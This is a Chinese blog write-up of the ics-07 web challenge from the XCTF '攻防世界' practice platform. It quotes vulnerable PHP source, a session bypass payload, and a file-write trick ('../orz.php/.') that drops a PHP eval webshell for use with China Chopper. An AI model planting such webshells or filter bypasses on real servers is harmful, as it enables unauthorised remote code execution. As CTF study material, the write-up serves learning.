攻防世界 web 进阶 ics-07
2019-08-11 20:46
2241 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_42499640/article/details/99205257
拿到 $_SESSION[‘admin’] = True;
构造payload:?id=1–9&submit&page=flag.php
成功
backup/ 是个假目录
有用的是这个目录
这里的正则没看懂
看了大佬的wp
说这个是只过滤了最后一个"."后面的东西。
工控云管理系统项目管理页面解析漏洞
/index.php
看到view-source
看一下源码
<?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
先看这一段
<?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
我们只需要绕过
isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'
拿到 $_SESSION[‘admin’] = True;
构造payload:?id=1–9&submit&page=flag.php
成功
接下来看下一关
<?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; //假目录 if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); //更改目录 $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?>
这里需要注意
$filename = "backup/".$file;这一句
backup/ 是个假目录
chdir('uploaded');这里改了目录
有用的是这个目录
这里的正则没看懂
看了大佬的wp
说这个是只过滤了最后一个"."后面的东西。
可以使用…/filename/.来过滤
现在尝试写个东西进去
con是文件内容
file是文件名
使用POST传参
con=<?php @eval($_POST['orz123']);?>&file=../orz.php/. 一句话木马
接下来都懂的
菜刀大法好!!!!!!!!!!!!
Orz
相关文章推荐
- XCTF攻防世界web进阶练习_ 2_lottery
- 攻防世界 web 进阶 Website
- XCTF攻防世界web进阶练习_ 5_mfw
- 【攻防世界】CTF web新手07 关于web中的编码问题
- 攻防世界 web进阶 NewsCenter
- XCTF攻防世界web进阶练习_ 4_upload
- XCTF攻防世界web进阶练习_ 3_unserialize3
- 攻防世界 web进阶笔记
- XCTF攻防世界web进阶练习_ 1_NewsCenter
- 攻防世界web新手之buckup
- 攻防世界web新手之xff_referer
- 攻防世界Web command execution
- XCTF攻防世界web新手练习_ 4_disabled_button
- 攻防世界web之Lottery
- 【攻防世界】CTF web新手09 弱口令爆破 weak_auth
- 攻防世界的web(一)
- XCTF攻防世界web新手练习_ 7_weak_auth
- 【攻防世界】CTF web04-06 一些简单的题目
- 攻防世界-web writeup(xctf)
- 攻防世界web新手之disabled_button